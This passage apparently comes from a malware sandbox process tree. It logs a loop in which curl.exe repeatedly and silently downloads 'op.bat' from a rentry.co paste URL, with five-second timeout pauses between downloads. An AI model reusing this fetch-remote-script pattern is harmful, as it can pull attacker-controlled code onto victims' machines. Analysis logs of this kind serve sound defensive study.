      Timeout /t 5 /nobreak
      4⤵
      PID:1040
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4708
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:408
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3108
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4804
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1116
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2704
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2444
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1508
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1868
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4764
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2352
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1552
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3328
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4076
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:232
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3636
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1108
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3096
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2264
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4308
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2376
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4004
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:756
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2068
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3224
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2980
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4648
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5028
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4812
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4200
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1352
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2912
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4732
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5040
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4388
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1940
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5092
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3620
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2920
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3964
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3828
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1504
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1168
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2316
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1008
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3112
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1944
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2088
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4384
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:8
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4672
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4256
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4484
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4560
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4780
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:228
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4432
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2012
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1904
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4592
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2036
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3448
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1800
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:996
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4836
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4900
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1596
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3084
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2492
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1304
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4784
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4296
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:712
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:552
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4496
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4472
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3812
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4196
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1272
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3252
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4636
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1528
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5088
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4108
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5004
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3628
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3416
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:220
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2708
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4664
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2104
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4512
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1436
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4024
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4164
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:912
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4176
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4960
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2680
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2732
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2444
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5012
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1004
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1508
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3452
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:436
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2112
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1552
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3328
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:972
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1276
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4284
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4528
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3020
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3028
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3124
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2376
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1692
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:796
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3080
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3804
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4724
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2032
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:640
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4148
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5028
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4812
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4200
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1352
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2912
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4732
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5060
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4976
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5044
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4928
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4848
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3712
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1384
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3616
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1636
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4468
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3440
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4364
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2608
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2040
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1884
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3744
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1524
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1412
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2392
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4464
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3468
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2348
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4168
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1060
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3660
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:460
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2384
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4392
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2928
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3376
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4008
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1208
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:880
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1052
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2492
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1304
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5056
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2084
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5116
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:32
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:552
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4496
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3944
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2876
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1044
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1260
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5032
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5108
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4936
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:440
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:828
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1708
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:740
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4208
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3432
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3444
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3908
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3368
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4816
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1104
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4288
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2280
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4152
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1380
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2880
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2684
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:876
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3032
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2312
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1888
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1584
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2576
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:628
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2756
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1868
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1508
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3452
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3768
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2352
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3284
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5048
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1440
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1276
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4216
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2660
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4736
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1340
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4772
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3792
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4004
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4156
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2068
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3192
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4648
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:640
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4428
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4812
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2836
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5008
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4536
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4524
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4916
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4720
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5092
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3364
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2656
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1344
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4788
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1168
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4352
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1008
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3112
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1536
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3312
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1984
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:8
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4672
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4256
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:620
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3608
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1820
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4120
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1156
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:228
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4432
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3696
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4064
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3660
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1216
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2996
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3292
  - - C:\Windows\system32\curl.exe
